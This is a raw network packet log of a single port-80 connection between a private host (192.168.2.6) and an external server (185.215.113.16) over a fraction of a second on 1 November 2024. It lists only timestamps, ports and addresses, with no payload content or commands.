Nov 1, 2024 00:38:47.350724936 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.380894899 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.380945921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.380973101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.380989075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.381004095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.381020069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.381019115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.381041050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.381058931 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.381077051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.381108046 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.381148100 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.381175041 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.381191969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.381237030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.381861925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.415786982 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415816069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415832043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415847063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415863991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415869951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.415880919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415901899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.415910006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415924072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415937901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415942907 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.415954113 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415975094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.415978909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.415996075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416001081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416009903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416024923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416026115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416043997 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416060925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416060925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416081905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416096926 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416124105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416126966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416141987 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416162968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416177988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416177988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416196108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416210890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416213989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416254044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416331053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416347027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416363001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416378021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416393042 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416418076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416507006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416544914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416560888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416599989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416615963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416625977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416634083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416651964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416663885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416671991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416688919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416712999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416714907 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416729927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416748047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416757107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416765928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416798115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416832924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416843891 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416857958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416873932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416899920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416937113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.416944027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416959047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416975021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.416990995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417005062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417007923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417041063 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417058945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417145014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417162895 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417177916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417212009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417253017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417643070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417656898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417707920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417720079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417746067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417762995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417768002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417793989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417810917 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417846918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417882919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417901993 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417916059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417932987 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417948961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.417948961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417967081 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.417987108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.418011904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.467170000 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.467185020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.467200041 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.467216969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.467264891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.467308998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.497737885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497756958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497801065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.497809887 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497828007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.497853041 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.497868061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497884989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497910023 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.497910023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497927904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497932911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.497945070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497956991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.497962952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.497980118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.497980118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.498003960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.498048067 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532565117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532594919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532615900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532633066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532649040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532716036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532742977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532759905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532773972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532778978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532795906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532826900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532835960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532845020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532872915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532877922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532895088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532910109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532913923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532939911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532948017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532974958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.532979965 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.532995939 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533013105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533034086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533041954 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533078909 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533082962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533098936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533114910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533126116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533150911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533175945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533202887 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533220053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533236980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533251047 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533253908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533276081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533313036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533320904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533361912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533370972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533380032 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533405066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533418894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533431053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533436060 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533461094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533488035 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533538103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533555031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533571005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533587933 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533615112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533616066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533652067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533663034 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533698082 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533699989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533715963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533740997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533740997 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533759117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533765078 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533776999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533791065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533793926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.533826113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.533863068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534400940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534456015 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534461021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534477949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534512043 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534529924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534564972 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534580946 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534598112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534614086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534615993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534631968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534643888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534648895 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534687996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534703970 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534807920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534826040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534842014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534858942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534866095 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534877062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534889936 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534893990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534929037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534955025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.534970999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.534987926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.535003901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.535020113 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.535020113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.535051107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.535080910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.535115957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.535132885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.535147905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.535166979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.535201073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.583930969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.583946943 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.583969116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.583981991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.584005117 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.584043026 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.614701033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.614784956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.614880085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.614916086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.614938974 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.614955902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.614972115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.614980936 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.614989996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.615009069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.615037918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.615066051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.615375042 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.615390062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.615406990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.615423918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.615423918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.615447044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.615488052 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.649578094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649642944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.649652004 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649674892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649691105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649705887 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649714947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.649725914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649736881 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.649749041 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649765968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649780989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649804115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.649827003 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.649866104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649907112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649908066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.649936914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649960041 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.649966955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.649992943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650015116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650023937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650037050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650051117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650065899 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650070906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650084019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650110960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650156975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650173903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650190115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650206089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650212049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650221109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650243998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650249958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650259018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650274038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650289059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650310993 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650311947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650326967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650350094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650350094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650350094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650365114 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650381088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650396109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650407076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650412083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650450945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650473118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650558949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650574923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650595903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650621891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650645018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650652885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650661945 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650686026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650688887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650711060 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:47.650731087 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650743961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650774002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:47.650790930 CET	80	49887	185.215.113.16	192.168.2.6
